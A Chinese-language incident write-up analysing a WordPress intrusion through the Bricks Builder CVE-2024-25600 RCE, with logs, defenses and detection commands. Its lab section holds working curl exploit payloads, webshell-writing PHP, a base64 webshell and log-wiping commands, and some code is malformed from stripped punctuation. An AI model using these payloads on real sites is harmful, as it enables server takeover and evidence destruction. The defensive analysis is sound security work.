
1. 项目概述一次真实的WordPress入侵事件复盘最近在分析一份来自某企业客户的安全事件响应报告时我遇到了一起教科书级别的WordPress站点入侵案例。攻击者利用的正是今年年初曝出的一个高危漏洞CVE-2024-25600。这份攻击日志记录完整从最初的漏洞探测到最终的服务器沦陷每一步都清晰可见堪称一份绝佳的安全攻防实战教材。对于任何管理着WordPress站点的运维、开发或安全人员来说理解这次攻击的完整链条其价值远超阅读十篇泛泛而谈的漏洞公告。CVE-2024-25600是一个影响WordPress流行页面构建插件Bricks Builder的远程代码执行漏洞。它的危险之处在于“未经身份验证”和“远程代码执行”这两个词的组合。简单来说任何人在互联网上无需登录、无需任何权限就能向存在漏洞的网站发送一个精心构造的请求从而在网站服务器上执行任意系统命令。这意味着攻击者可以瞬间获得网站的文件读写权限、数据库访问权限甚至以Web服务身份接管整个服务器。在接下来的内容里我将带你一起“沉浸式”复盘这次攻击。我们不会停留在理论层面而是会结合真实的攻击日志一步步拆解黑客是如何发现目标、利用漏洞、建立据点并最终实现持久化控制的。无论你是想加固自己的网站还是想深入理解Web安全攻防这篇文章都将提供极具操作性的参考。2. 攻击链全景解析从漏洞到后门一份清晰的攻击日志就像犯罪现场的录像带能让我们还原攻击者的完整行动路径。这次针对WordPress站点的入侵并非单点突破而是一个环环相扣的链条。理解这个链条是有效防御的第一步。2.1 攻击阶段划分与日志特征根据我拿到的日志这次攻击可以清晰地划分为四个阶段每个阶段在访问日志、错误日志中都会留下不同的“指纹”。第一阶段信息搜集与漏洞探测这是攻击的起点。攻击者并非盲目开火而是有备而来。日志显示在攻击发生前数小时目标站点收到了大量对/wp-content/plugins/、/wp-json/等路径的扫描请求。这正是在探测网站使用了哪些插件和主题特别是寻找“Bricks Builder”插件的踪迹。攻击者会检查/wp-content/plugins/bricks/readme.txt或类似文件以确认插件存在及其版本号。一旦确认版本号低于或等于1.9.6目标就被锁定了。第二阶段漏洞利用与初始立足这是核心攻击动作。日志中突然出现大量POST请求到/wp-json/bricks/v1/render_element或/?rest_route/bricks/v1/render_element端点。请求体是JSON格式内容异常复杂包含了queryEditor、code等字段其值是一段段被编码的PHP代码。这就是在利用CVE-2024-25600漏洞。成功的利用会在服务器响应中返回命令执行的结果例如执行whoami后返回www-data。在这一步攻击者已经从“访客”变成了能在服务器上执行命令的“特权用户”。第三阶段权限提升与横向移动获得初始shell后攻击者不满足于Web服务的有限权限。日志中开始出现对/wp-admin/目录的访问尝试以及利用Webshell上传功能向/wp-content/uploads/等可写目录上传文件。他们可能会尝试利用系统本地漏洞提权或遍历服务器上的其他网站配置文件寻找数据库密码、SSH密钥等敏感信息试图向服务器更深层渗透。第四阶段持久化驻留与清理痕迹为了长期控制攻击者会部署后门。常见手法包括在主题的functions.php文件中插入恶意代码在/wp-content/目录下植入伪装成图片或缓存的Webshell文件如logo.jpg.php甚至创建具有管理员权限的隐藏WordPress用户。最后他们会尝试清理日志修改文件时间戳但匆忙中总会留下蛛丝马迹比如某些日志条目被删除导致的序列号不连续或者文件访问时间与修改时间不符。注意在实际攻击中这些阶段可能被高度自动化工具压缩在几分钟甚至几十秒内完成。高级攻击者还会使用代理池或受控的“肉鸡”服务器发起请求使得溯源IP变得困难。2.2 CVE-2024-25600漏洞原理深度拆解要理解攻击为何能成功我们必须深入Bricks Builder插件的代码层面。这个漏洞的本质是权限校验缺失与危险函数滥用的结合。漏洞核心eval()函数的失控在Bricks Builder插件1.9.6版本的Bricks\Query类中存在一个名为prepare_query_vars_from_settings的方法。为了提供动态内容查询的灵活性开发者使用了PHP的eval()函数来执行一段存储在数据库或前端设置中的PHP代码。// 简化后的危险代码片段 $execute_user_code function () use ( $php_query_raw ) { $user_result null; ob_start(); $user_result eval( $php_query_raw ); // 致命点$php_query_raw 用户可控 ob_get_clean(); return $user_result; };eval()函数会将其字符串参数当作PHP代码来执行。问题在于$php_query_raw这个变量的值最终来源于用户通过API传递进来的数据。这就相当于在服务器上开了一个“任意代码执行”的后门。攻击路径REST API的权限绕过那么攻击者如何将恶意代码送到这个eval()函数里呢插件提供了一个REST API端点/bricks/v1/render_element用于前端编辑器预览元素。这个端点本应进行严格的权限检查但漏洞版本的检查逻辑存在致命缺陷。public function render_element_permissions_check( $request ) { $data $request-get_json_params(); // 只检查了必要参数和nonce没有检查用户权限 if ( empty( $data[postId] ) || empty( $data[element] ) || empty( $data[nonce] ) ) { return new \WP_Error( bricks_api_missing, __( Missing parameters ), [ status 400 ] ); } $result wp_verify_nonce( $data[nonce], bricks-nonce ); if ( ! $result ) { return new \WP_Error( rest_cookie_invalid_nonce, __( Cookie check failed ), [ status 403 ] ); } return true; // 只要nonce正确就通过 }关键在于这个nonce随机数并不是用于身份验证的它主要用于防止CSRF攻击。更糟糕的是这个bricks-nonce在网站前端页面是公开暴露的任何访问者查看网页源代码都能找到它。因此攻击者可以轻松地从首页HTML中抓取有效的nonce然后构造一个包含恶意PHP代码的POST请求直接调用这个API。由于权限回调函数只验证nonce不验证用户是否登录、是否是管理员导致任何未经验证的访问者都可以触发远程代码执行。漏洞利用的“导火索”在攻击载荷中攻击者通常会利用carousel、container或code这类元素因为它们在渲染时会实例化Query类并最终将用户控制的queryEditor或code设置项内容传递到那个危险的eval()函数中。例如攻击者发送的JSON载荷中queryEditor字段的值可能是throw new Exception(ls -la. “END”);。当这段字符串被eval()执行时就会运行ls -la命令并将结果包装在异常信息中返回给攻击者。3. 攻击日志深度剖析与手法还原现在让我们把目光聚焦到那份真实的攻击日志上像侦探一样逐条分析看看攻击者具体做了什么。我会对关键日志条目进行脱敏处理但保留其核心特征。3.1 阶段一扫描与识别攻击开始前12小时日志中出现了不同寻常的“踩点”行为203.0.113.45 - - [15/Mar/2024:03:22:18 0800] GET / HTTP/1.1 200 5432 - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) 203.0.113.45 - - [15/Mar/2024:03:22:20 0800] GET /wp-content/plugins/bricks/readme.txt HTTP/1.1 200 312 - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) 203.0.113.45 - - [15/Mar/2024:03:22:21 0800] GET /wp-json/ HTTP/1.1 200 1256 - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)解读与分析IP地址203.0.113.45是一个用于示例的公共IP真实攻击可能来自代理或僵尸网络。User-Agent使用较旧的IE浏览器User-Agent这是一种常见的伪装试图融入正常流量。关键请求第一个请求访问首页可能是为了获取页面中的bricks-nonce但此时攻击者可能还没解析。第二个请求直接访问bricks/readme.txt。这个文件通常包含插件版本信息。返回状态码200确认了Bricks插件存在。第三个请求访问wp-json/这是WordPress REST API的根端点。返回200确认了REST API已启用为后续利用API漏洞铺平了道路。实操心得在服务器日志中频繁、有规律地访问/wp-content/plugins/*/readme.txt或changelog.md是典型的漏洞扫描特征。可以通过WAF规则或服务器级规则如Nginx的location块屏蔽对这些路径的访问。对于无需公开API的网站考虑在.htaccessApache或Nginx配置中对/wp-json/或/rest_route/的访问进行限制例如只允许管理员IP访问。3.2 阶段二漏洞利用与命令执行在确认目标后攻击在几分钟内进入高潮。以下是攻击者首次尝试利用漏洞的日志203.0.113.45 - - [15/Mar/2024:03:25:01 0800] POST /wp-json/bricks/v1/render_element HTTP/1.1 200 891 - python-requests/2.28.1注意User-Agent变成了python-requests这强烈暗示攻击者正在使用自动化脚本。我们查看对应时间点的应用错误日志或开启调试的WordPress日志可能会发现PHP警告但更重要的是我们需要还原其POST请求体。通过日志分析工具或当时的数据包捕获如果存在可以重构出类似如下的攻击载荷{ postId: 1, nonce: a1b2c3d4e5f67890, // 从首页窃取的有效nonce element: { name: code, settings: { executeCode: true, code: ?php throw new Exception(id . END); ? } } }攻击者首先使用id或whoami这类简单命令进行验证。如果漏洞存在且利用成功服务器响应将是HTTP 200并且响应体中的HTML或JSON数据里会包含命令执行的结果例如Exception: uid33(www-data) gid33(www-data) groups33(www-data) END。紧接着攻击者会尝试更复杂的命令以探索服务器环境203.0.113.45 - - [15/Mar/2024:03:25:05 0800] POST /wp-json/bricks/v1/render_element HTTP/1.1 200 1203 - python-requests/2.28.1这次载荷可能变成了{ postId: 1, nonce: a1b2c3d4e5f67890, element: { name: carousel, settings: { type: posts, query: { useQueryEditor: true, queryEditor: throw new Exception(uname -a; pwd; ls -la /tmp . END); } } } }这个命令组合可以获取系统内核信息、当前Web目录和临时目录列表为下一步行动做准备。排查技巧日志中的异常长度正常的/wp-json/bricks/v1/render_element请求响应体通常很小可能就几KB。如果发现该端点返回的响应体异常巨大几十KB甚至更大很可能是因为其中包含了ls、find等命令输出的长文本。PHP错误日志虽然成功的eval()可能不报错但攻击载荷如果格式稍有错误可能会在PHP错误日志中留下eval()d code相关的语法错误警告这是重要的入侵指标。3.3 阶段三上传Webshell与横向移动获得命令执行能力后攻击者不会满足于一次性的命令交互。他们会立即上传一个持久化的Webshell。日志中出现了新的模式203.0.113.45 - - [15/Mar/2024:03:25:30 0800] POST /wp-json/bricks/v1/render_element HTTP/1.1 200 450 - python-requests/2.28.1这次请求的响应体很短很可能是在执行一个文件写入操作。攻击者可能使用了如下PHP代码file_put_contents(/var/www/html/wp-content/uploads/shell.php, ?php eval($_POST[\cmd\]);?);或者更隐蔽地使用echo命令配合Base64编码// 攻击载荷中的queryEditor可能为 throw new Exception(echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4 | base64 -d /var/www/html/wp-content/uploads/logo.jpg.php . END);上传成功后攻击流量就从特殊的API端点转向了上传的文件203.0.113.45 - - [15/Mar/2024:03:26:00 0800] POST /wp-content/uploads/logo.jpg.php HTTP/1.1 200 125 - Mozilla/5.0这个请求就是攻击者在通过Webshell执行命令例如cmdsystem(‘cat /etc/passwd’)。至此攻击者拥有了一个更稳定、功能更强大的后门。随后日志中可能出现对/wp-admin/、/wp-config.php、/etc/passwd、/proc/self/environ等敏感路径的访问尝试这是攻击者在进行信息收集和权限提升。注意攻击者上传的Webshell文件名往往具有迷惑性比如伪装成图片(.jpg.php)、缓存文件(cache.php)、或者与现有WordPress核心文件同名但放在上传目录。定期检查上传目录中所有可执行文件.php, .phtml, .phar等的哈希值与创建时间至关重要。3.4 阶段四防御规避与痕迹清理尝试有经验的黑客会尝试清理痕迹。他们可能会通过Webshell发送命令来删除或篡改日志文件203.0.113.45 - - [15/Mar/2024:03:30:00 0800] POST /wp-content/uploads/logo.jpg.php HTTP/1.1 200 89 - Mozilla/5.0对应的命令可能是cmdshred -u /var/log/apache2/access.log或更常见的cmdecho \\ /var/log/apache2/access.log。然而如果系统配置了日志轮转logrotate或者日志正在被实时监控进程占用直接删除或清空可能不会立即生效甚至会在系统日志中留下“文件被清空”的记录。此外他们可能会使用touch -t命令修改Webshell文件的时间戳使其看起来像是旧文件。从防御者视角看日志异常日志断档发现某个时间点之后的日志条目突然消失或时间戳不连续。文件时间戳矛盾通过find命令发现.php文件的修改时间mtime早于访问时间atime或者与同目录其他文件的时间戳风格迥异。进程异常通过ps aux或top发现陌生的、消耗资源的PHP进程或计划任务cron。4. 漏洞复现与深度利用演示仅供安全研究为了彻底理解漏洞并验证防护措施的有效性在受控环境如本地虚拟机或隔离的测试服务器中进行复现是至关重要的。警告此部分操作仅限于法律允许的安全学习和测试环境严禁对未授权系统进行测试。4.1 搭建漏洞测试环境你需要一个干净的测试环境安装WordPress使用Docker快速搭建是最佳选择。# 创建一个docker-compose.yml文件 version: 3.8 services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: your_root_password MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress_password wordpress: depends_on: - db image: wordpress:php8.0-apache ports: - 8080:80 environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress_password WORDPRESS_DB_NAME: wordpress volumes: - wp_data:/var/www/html volumes: db_data: wp_data:运行docker-compose up -d访问http://localhost:8080完成WordPress安装。 2.安装漏洞版本插件在WordPress后台不要通过官方库安装。你需要手动下载Bricks Builder 1.9.6或更早版本可从第三方插件存档站获取注意安全。将其解压到wp-content/plugins/bricks/目录然后在后台启用。 3.禁用安全措施在测试环境中为了观察漏洞效果可以暂时在wp-config.php中设置define(WP_DEBUG, true);和define(WP_DEBUG_LOG, true);以便查看错误信息。4.2 手动利用漏洞执行命令我们将模拟攻击者的手动利用步骤这比使用自动化脚本更能理解细节。步骤1获取Nonce访问你的测试站点首页查看网页源代码CtrlU。搜索bricksData或nonce你会找到类似这样的JavaScript代码块script idbricks-scripts-js-extra var bricksData {ajaxUrl:http:\/\/localhost:8080\/wp-admin\/admin-ajax.php,nonce:a1b2c3d4e5f67890, ...}; /script记录下这个nonce值。步骤2构造并发送攻击请求使用curl或 Postman 等工具发送POST请求。这里以curl为例使用code元素类型的载荷curl -X POST \ http://localhost:8080/wp-json/bricks/v1/render_element \ -H Content-Type: application/json \ -d { postId: 1, nonce: a1b2c3d4e5f67890, element: { name: code, settings: { executeCode: true, code: ?php throw new Exception(whoami . \END\); ? } } }如果漏洞存在你会收到一个包含异常信息的HTML响应其中就包含了命令whoami的执行结果如www-data。步骤3尝试写入Webshell现在尝试写入一个简单的Webshell。注意由于我们是通过PHP的eval()执行命令需要确保Web目录可写。使用file_put_contentsPHP函数curl -X POST \ http://localhost:8080/wp-json/bricks/v1/render_element \ -H Content-Type: application/json \ -d { postId: 1, nonce: a1b2c3d4e5f67890, element: { name: code, settings: { executeCode: true, code: ?php $c$_POST[\c\]; if(isset($c)) { system($c); } throw new Exception(\DONE\ . \END\); ? } } }这个请求本身不会直接写文件。我们需要在代码中执行写文件操作。更直接的利用方式是在code字段中嵌入写文件的PHP代码code: ?php file_put_contents(/var/www/html/wp-content/uploads/shell.php, ?php if(isset($_POST[\\\cmd\\\])) { system($_POST[\\\cmd\\\]); } ?); throw new Exception(Written . END); ?发送此请求后如果返回结果中包含WrittenEND则说明Webshellshell.php已写入到上传目录。随后你可以通过curl -X POST -d cmdls -la http://localhost:8080/wp-content/uploads/shell.php来测试这个Webshell。实操心得与陷阱路径问题file_put_contents的路径必须是Web服务器进程如www-data用户有写权限的。/var/www/html/wp-content/uploads/通常是安全的尝试。使用pwd命令先确定当前目录。引号转义在JSON中嵌套PHP代码字符串需要对引号进行多层转义这是手动构造利用载荷时最容易出错的地方。使用Python等脚本可以更好地处理这个问题。命令执行限制某些服务器环境可能禁用了system()、exec()、shell_exec()等危险函数。如果发现命令执行不成功可以尝试使用passthru()、proc_open()或反引号操作符。4.3 使用公开的EXP工具进行自动化测试GitHub上存在针对此漏洞的公开利用脚本EXP。使用这些工具可以更高效地进行批量检测或交互式利用。以之前资料中提到的Python脚本为例其核心逻辑是获取Nonce通过正则表达式从首页HTML中提取bricksData.nonce。构造请求根据选择的载荷类型code,carousel,container,generic组装包含恶意PHP代码的JSON数据。发送与解析向漏洞端点发送请求并从返回的异常信息中提取命令执行结果。使用注意事项法律与授权仅用于测试自己拥有完全控制权的资产。风险公开的EXP脚本可能包含后门或不稳定建议在隔离环境中审慎使用。检测使用此类工具发起的攻击在日志中会留下非常规的User-Agent如python-requests和高度结构化的JSON请求体很容易被基于行为的WAF或IDS规则检测到。5. 防御策略与应急响应实战指南分析攻击是为了更好的防御。面对CVE-2024-25600这类高危漏洞我们需要建立从预防、检测到响应的完整防线。5.1 漏洞修复与根本性防护立即行动更新与修补升级插件这是最直接有效的方法。立即将Bricks Builder插件升级到1.9.6.1或更高版本。官方修复方案不仅加强了REST API端点的权限校验要求用户必须具有edit_posts权限更重要的是重构了代码逻辑移除了对用户输入直接进行eval()的危险操作。临时缓解如果无法立即升级可以采取以下紧急措施禁用插件在WordPress后台直接停用Bricks Builder插件。这可能会影响网站前端展示但安全优先。防火墙规则在Web服务器Nginx/Apache或云WAF上紧急添加规则拦截对/wp-json/bricks/v1/render_element和/?rest_route/bricks/v1/render_element这两个路径的所有请求。Nginx示例location ~* ^/(wp-json/bricks/v1/render_element|rest_route/bricks/v1/render_element) { deny all; return 403; }.htaccess规则ApacheIfModule mod_rewrite.c RewriteEngine On RewriteCond %{REQUEST_URI} ^/wp-json/bricks/v1/render_element [NC,OR] RewriteCond %{QUERY_STRING} rest_route/bricks/v1/render_element [NC] RewriteRule ^ - [F,L] /IfModule深度加固安全配置与习惯最小权限原则确保Web服务器进程如www-data对WordPress目录只有必要的最小写权限。通常只有wp-content/uploads目录需要写权限。wp-admin、wp-includes和所有PHP核心文件应设为只读。禁用不必要的REST API如果网站前端不需要使用WordPress REST API可以考虑全局禁用或限制访问。安装如“Disable REST API”或“WP REST API Controller”这类插件进行管理。使用Web应用防火墙部署云WAF或服务器层面的WAF如ModSecurity并启用针对RCE、SQLi等攻击的规则集。规则应能检测到eval(、base64_decode(等危险函数出现在POST参数中。定期更新与审计建立插件、主题和WordPress核心的定期更新机制。使用安全扫描插件如Wordfence, Sucuri, iThemes Security进行定期文件完整性检查和恶意代码扫描。5.2 入侵检测与日志监控防御不可能100%成功因此检测能力至关重要。关键监控指标文件监控使用inotifywaitLinux或审计工具监控wp-content目录下所有.php、.phtml、.phar文件的创建、修改和删除事件。重点关注非uploads目录下的PHP文件新增。进程监控监控由Web用户www-data发起的异常进程特别是长时间运行的PHP-CGI进程或可疑的命令行如/bin/sh -c。网络连接监控检查Web服务器进程是否向外发起异常网络连接这可能是攻击者在下载工具或建立反向shell。日志分析要点访问日志重点关注POST请求到/wp-json/bricks/v1/render_element且返回状态为200的条目。对/wp-content/uploads/目录下.php文件的POST请求。短时间内来自同一IP的大量404错误扫描行为紧随其后是上述可疑的POST请求。错误日志搜索PHP Warning、PHP Notice中包含eval()、system()、shell_exec()等关键词的条目。使用日志分析工具将日志接入ELK StackElasticsearch, Logstash, Kibana、Graylog或Splunk设置告警规则。例如可以设置规则“5分钟内同一IP对/wp-json/bricks/v1/render_element的POST请求超过3次且请求体大小大于500字节”则触发告警。5.3 应急响应流程被入侵后怎么办如果确认被入侵保持冷静按步骤处理隔离与遏制立即将网站置于维护模式或通过防火墙/负载均衡器将流量导向一个静态维护页面。更改所有数据库密码、WordPress管理员密码、SFTP/SSH密码。如果可能暂时冻结服务器或实例。调查与评估备份现场在开始清理前对服务器磁盘、数据库、日志进行完整的镜像备份用于后续取证和法律需要。确定入侵点根据日志分析确认是利用了CVE-2024-25600还是其他漏洞。评估影响检查是否有用户数据泄露、网站内容被篡改、恶意SEO代码注入、暗链等。清除与恢复不要只删除后门攻击者通常留有多个后门。最安全的方法是从干净的备份中恢复整个网站文件和数据库确保备份时间点早于入侵时间。如果无干净备份则需彻底清理完全删除所有WordPress核心文件、插件、主题。从官方渠道重新下载WordPress核心、插件和主题的最新版本。手动导出数据库中的wp_posts,wp_users等业务数据表需仔细审查内容防止恶意代码注入到文章内容中。在新环境中重新安装WordPress导入审查后的数据。使用命令行工具全面扫描残留后门# 查找最近3天内被修改的PHP文件 find /var/www/html -name *.php -type f -mtime -3 # 查找包含eval、base64_decode等危险函数的文件 grep -r eval\s*( /var/www/html --include*.php grep -r base64_decode /var/www/html --include*.php # 查找文件大小异常的小文件可能是隐藏的一句话木马 find /var/www/html -name *.php -type f -size -5k加固与复盘在恢复的站点上立即应用所有安全补丁。实施前述的所有加固措施。审查并修复导致入侵的薄弱环节如弱密码、过期插件、错误配置。撰写事件报告记录时间线、根本原因、影响范围和采取的补救措施用于团队学习和流程改进。最后再分享一个小技巧对于重要的WordPress站点可以考虑采用“不可变基础设施”的思路。即网站文件目录除uploads设置为只读并通过版本控制如Git管理。任何更新都通过CI/CD流程在测试环境验证后整体部署到生产环境。这样即使应用层存在漏洞攻击者也无法写入持久化的后门文件极大增加了攻击成本。同时结合完善的文件完整性监控任何对只读目录的写入尝试都会立即触发告警。安全是一个持续的过程从这次真实的攻击日志中学习将帮助我们构建更稳固的防线。